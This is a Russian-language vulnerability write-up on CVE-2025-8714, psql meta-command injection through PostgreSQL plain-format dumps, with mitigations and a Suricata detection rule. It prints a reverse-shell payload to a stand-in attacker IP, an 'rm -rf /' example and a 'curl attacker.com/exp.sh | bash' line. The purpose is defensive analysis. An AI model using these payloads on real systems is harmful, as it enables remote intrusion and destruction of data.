Уязвимость BDU:2025-09829 (CVE-2025-8714) PostgreSQL
Уязвимость BDU:2025-09829 (CVE-2025-8714) в утилитах резервного копирования PostgreSQL — pg_dump, pg_dumpall и pg_restore (при генерации дампов в plain-формате). Она позволяет злоумышленнику внедрить произвольные команды, которые будут выполнены в контексте операционной системы клиента, восстанавливающего дамп с помощью psql. Это достигается через инъекцию метакоманд psql в процесс восстановления резервной копии.
Анализ уязвимости
Уровень опасности: 8.8 HIGH
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
-
AV:N (Attack Vector: Network) - Сетевая: уязвимость может эксплуатироваться через сеть.
-
AC:L (Attack Complexity: Low) - Низкая сложность атаки: не требуются специальные условия.
-
PR:N (Privileges Required: None) - Не требуются привилегии: для эксплуатации не нужны права доступа к системе жертвы.
-
UI:R (User Interaction: Required) - Требуется взаимодействие пользователя: необходимо действие пользователя (восстановление дампа).
-
S:U (Scope: Unchanged) - Воздействие ограничено уязвимым компонентом.
-
C:H (Confidentiality: High) - Возможно полное раскрытие информации.
-
I:H (Integrity: High) - Возможно полное нарушение целостности данных.
-
A:H (Availability: High) - Возможно полное нарушение доступности системы.
Условия эксплуатации уязвимости
Для успешной эксплуатации уязвимости необходимо сочетание нескольких условий:
-
Права суперпользователя у атакующего на ЕГО СОБСТВЕННОМ сервере: Злоумышленнику не нужен никакой доступ к серверу жертвы. Ему нужны права
SUPERUSERна любом подконтрольном ему инстансе PostgreSQL (например, на его личном сервере, в виртуальной машине, контейнере Docker или даже в облачной БД, где он является администратором). Он использует этот сервер как "фабрику" для создания вредоносного дампа. -
Создание вредоносной резервной копии: Используя утилиты
pg_dumpилиpg_dumpall, злоумышленник создает дамп базы данных в plain-текстовом формате (по умолчанию или с явным указанием-F p), в который внедряются метакомандыpsql(начинающиеся с обратного слеша\). -
Передача дампа жертве и ее действие: Злоумышленник должен каким-либо образом передать вредоносный дамп жертве — через фишинг, компрометацию систем обмена, публикацию в открытых источниках под видом легитимной базы данных и т.д. Критически важно, чтобы жертва добровольно инициировала процесс восстановления этого дампа с помощью утилиты
psqlилиpg_restore(для plain-формата). -
Уязвимая версия ПО у жертвы: Клиентская система, на которой происходит восстановление, должна использовать уязвимую версию
psqlилиpg_restore(т.е. версию PostgreSQL старше 17.6, 16.10, 15.14, 14.19 или 13.22). Важно отметить, что сервер БД, на который восстанавливаются данные, может быть абсолютно защищенным и актуальным. Уязвимость эксплуатируется на стороне клиента, выполняющего восстановление.
Технический анализ механизма уязвимости
Утилита psql — это интерактивный терминал для работы с PostgreSQL. Помимо обычных SQL-команд, он поддерживает метакоманды, которые управляют работой. Эти команды начинаются с обратного слеша (\) и выполняются непосредственно psql, а не отправляются на сервер БД. Примеры метакоманд:
-
\dn— список схем. -
\dt— список таблиц. -
\i filename— выполнение SQL-скрипта из файла. -
\! command— выполнение произвольной команды операционной системы.
Именно метакоманда \! является ключевым вектором для выполнения произвольного кода в контексте уязвимости CVE-2025-8714.
Утилита pg_dump создает дамп базы данных в виде SQL-скрипта. По умолчанию используется plain-текстовый формат (-F p), который предназначен для выполнения в psql. В нормальных условиях этот скрипт содержит только операторы SQL (CREATE, INSERT, etc.) и комментарии.
Уязвимость НЕ ТРЕБУЕТ наличия прав суперпользователя в базе данных жертвы.
Сценарий атаки выглядит следующим образом:
-
Злоумышленник создает свою собственную, контролируемую им базу данных. Это может быть PostgreSQL, установленный на его личном компьютере, на виртуальной машине или в любом другом месте, где он является администратором и имеет права
SUPERUSERна своем собственном экземпляре СУБД. -
Используя эти права на СВОЕМ сервере, он намеренно создает и модифицирует объекты базы данных (например, добавляет комментарии
COMMENTк таблицам) таким образом, что при выполнении штатной командыpg_dumpсодержимое этих объектов (метаданные) попадает в итоговый SQL-файл в неэкранированном виде. -
Результатом работы
pg_dumpявляется обычный текстовый файл с расширением.sql, который содержит команды для восстановления базы. Однако из-за уязвимости этот файл также содержит внедренные метакомандыpsql(например,\! bash -c "вредоносная команда"). -
Атакующий передает этот специально созданный файл жертве, обманом побуждая ее восстановить его. Например, он может выдать его за легитимную резервную копию, полезные данные или дамп из открытого источника.
-
Жертва, ничего не подозревая, восстанавливает этот дамп на своей системе с помощью утилиты
psql(например, командойpsql -f malicious_file.sql). -
Уязвимая версия
psqlна компьютере жертвы выполняет все команды в файле, включая внедренные метакоманды. Эти команды выполняются в операционной системе жертвы с правами того пользователя, который запустилpsql.
Рассмотрим упрощенный пример. Допустим, злоумышленник создал таблицу и внедрил в нее полезную нагрузку:
CREATE TABLE malicious_data (id serial, data text);
INSERT INTO malicious_data (data) VALUES ('\! rm -rf /');
При выполнении pg_dump для этой базы данных, в определенных условиях вывод может принять вид, при котором строка \! rm -rf / не будет должным образом экранирована и окажется в дампе как отдельная команда. Когда жертва запустит psql -f malicious_dump.sql, утилита psql встретит эту строку и выполнит команду rm -rf / в своей операционной системе.
Анализ кода эксплоита
Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости. PoC-скрипт на Bash автоматизирует процесс создания вредоносной нагрузки и ее исполнения в подконтрольном окружении (контейнере Docker). Это демонстрационный пример, который не атакует реальные системы, а показывает механизм в изолированной среде.
Шаг 1: Генерация полезной нагрузки
Функция generate_payload создает последовательность команд для psql:
generate_payload() {
cat <<EOF
SELECT current_date;
\\! bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$LISTENER_PORT 0>&1'
EOF
}
-
SELECT current_date;— безвредный SQL-запрос, который маскирует атаку. -
\\! bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$LISTENER_PORT 0>&1'— ядро атаки. Двойной обратный слеш\\необходим для экранирования в скрипте. Фактически, вpsqlбудет передана метакоманда\!, которая запускает команду OS. Эта команда создает reverse-shell на атакующую машину с IP$ATTACKER_IPи порт$LISTENER_PORT, используя перенаправление потоков ввода/вывода через TCP-сокет.
Шаг 2: Подготовка тестового окружения
Скрипт запускает контейнер Docker с уязвимой версией PostgreSQL (14.14):
docker run -d --name "$CONTAINER_NAME" -e POSTGRES_PASSWORD=postgres -p 5432:5432 "$POSTGRES_VERSION"
Это создает изолированную среду для демонстрации, имитируя сервер-источник, контролируемый злоумышленником.
Шаг 3: Выполнение атаки
Полезная нагрузка передается в psql внутри контейнера:
docker exec -i "$CONTAINER_NAME" psql -U postgres -v ON_ERROR_STOP=1 <<< "$(generate_payload)"
Команда docker exec выполняет psql внутри контейнера и передает ему сгенерированную нагрузку через стандартный ввод (<<<). Утилита psql обрабатывает эту нагрузку: выполняет безвредный SELECT, а затем встречает метакоманду \! и запускает скрипт reverse-shell. В результате, если на машине атакующего запущен netcat-сервер (nc -lvnp 4444), он получает интерактивную оболочку (bash -i) из контейнера, что демонстрирует возможность выполнения произвольного кода.
Важные замечания по PoC:
-
Данный PoC не демонстрирует прямое внедрение через
pg_dump. Вместо этого он напрямую передает метакоманды вpsql, что эквивалентно тому, как бы они были исполнены из вредоносного дампа. Это упрощение для демонстрации конечного эффекта. -
В реальной атаке злоумышленнику пришлось бы более изощренно манипулировать данными в БД, чтобы обмануть
pg_dumpи заставить его некорректно сгенерировать дамп. -
PoC не показывает, как вредоносный дамп будет передан жертве — это остается за рамками демонстрации.
Меры защиты
1. Основной и наиболее эффективный метод — обновление ПО
Корень проблемы устранен в следующих версиях PostgreSQL:
-
PostgreSQL 17.6
-
PostgreSQL 16.10
-
PostgreSQL 15.14
-
PostgreSQL 14.19
-
PostgreSQL 13.22
Рекомендация: Немедленно обновить все экземпляры PostgreSQL, используемые для создания дампов (серверы-источники), а также убедиться, что клиентские утилиты psql и pg_restore на всех машинах, где может происходить восстановление, также обновлены до версии с исправлением уязвимости. Процесс обновления для минорных версий PostgreSQL не требует дампа/ресторта и заключается в простой замене бинарных файлов.
2. Управление доверием и источниками дампов
-
Восстанавливайте дампы только из доверенных источников. Четко установите внутренние процедуры, регулирующие происхождение резервных копий. Избегайте использования дампов, полученных из ненадежных или непроверенных источников (например, скачанных с непроверенных сайтов).
-
Внедрите практику проверки целостности и подлинности дампов. Используйте механизмы цифровой подписи (например, GPG) для дампов, создаваемых внутри организации. Перед восстановлением проверяйте подпись и хэш-сумму файла.
3. Использование безопасных форматов дампов
Уязвимость в первую очередь затрагивает plain-текстовый формат (-F p). Форматы custom (-F c) и directory (-F d) не подвержены этой уязвимости, так как не интерпретируются напрямую psql и не позволяют легко внедрять метакоманды.
Рекомендация: Перейдите на использование форматов custom или directory для создания и переноса резервных копий. Для их восстановления используйте pg_restore.
# Создание дампа в безопасном custom-формате pg_dump -Fc -U username -d dbname -f backup.dump # Его восстановление pg_restore -U username -d dbname backup.dump
4. Визуальная проверка дампов перед восстановлением
Перед восстановлением plain-текстового дампа из непроверенного источника настоятельно рекомендуется открыть его в текстовом редакторе и провести выборочную проверку. Ищите подозрительные конструкции, особенно строки, начинающиеся с \!, \o, \i или других метакоманд psql, которые не являются частью строковых литералов или комментариев.
Внимание: Этот метод ненадежен, так как злоумышленник может замаскировать или обфусцировать вредоносный код.
Правила IPS для обнаружения атаки
Развертывание IPS (Intrusion Prevention System) для защиты от данной уязвимости является сложной задачей, так как атака происходит не через типичный веб-трафик (HTTP/HTTPS), а через передачу файлов-дампов и последующее выполнение команд в рамках сессии psql.
Пример правила для Suricata (IPS)
Suricata может анализировать передаваемые файлы (дампы) по протоколам SMB, FTP, HTTP и др. Можно создать правило, которое будет проверять plain-текстовые SQL-дампы на наличие метакоманд psql.
alert tcp any any -> $HOME_NET any (msg:"POSTGRESQL CVE-2025-8714 Potential Malicious pg_dump Plain Format"; flow:established,to_client; file_data; content:"|0A|"; within:10; content:"|21 20|"; fast_pattern; distance:0; within:50; pcre:"/^\\![[:space:]]+[^[:space:]]/m"; metadata:service postgresql,service dump,cve CVE-2025-8714; sid:20258714; rev:1;)
Данное правило можно найти в моём наборе правил к Suricata (https://alekseycheremnykh.ru/post/moj-nabor-pravil-k-suricata/).
Разбор правила:
alert tcp any any -> $HOME_NET any: Правило срабатывает на TCP-трафик, идущий извне (any any) в любую службу вашей внутренней сети ($HOME_NET any). Это покрывает случай, когда дамп скачивается из внешнего источника.
flow:established,to_client: Анализируется трафик установленного соединения, направленный к клиенту. Это важно, так как вредоносный дамп будет передаваться жертве.
file_data: Suricata будет проверять данные, которые идентифицированы как содержимое файла (в данном случае — передаваемый дамп).
Поиск шаблонов (content и pcre):
-
content:"|0A|"; within:10;: Ищет символ переноса строки (\n). -
content:"|21 20|"; fast_pattern; distance:0; within:50;: Ищет комбинацию!(восклицательный знак и пробел, в HEX21 20). Ключевое словоfast_patternозначает, что этот шаблон используется для быстрого первичного отбора трафика. -
Сердце правила —
pcre:"/^\\![[:space:]]+[^[:space:]]/m";: Это регулярное выражение, которое ищет во всём передаваемом файле строки, начинающиеся с!, после которого идут один или несколько пробельных символов ([[:space:]]+), а затем любой непробельный символ ([^[:space:]]). Флагmпозволяет проверять каждую строку многострочного содержимого. Это предназначено для обнаружения метакомандpsql(например,! bash -c "curl attacker.com/exp.sh | bash").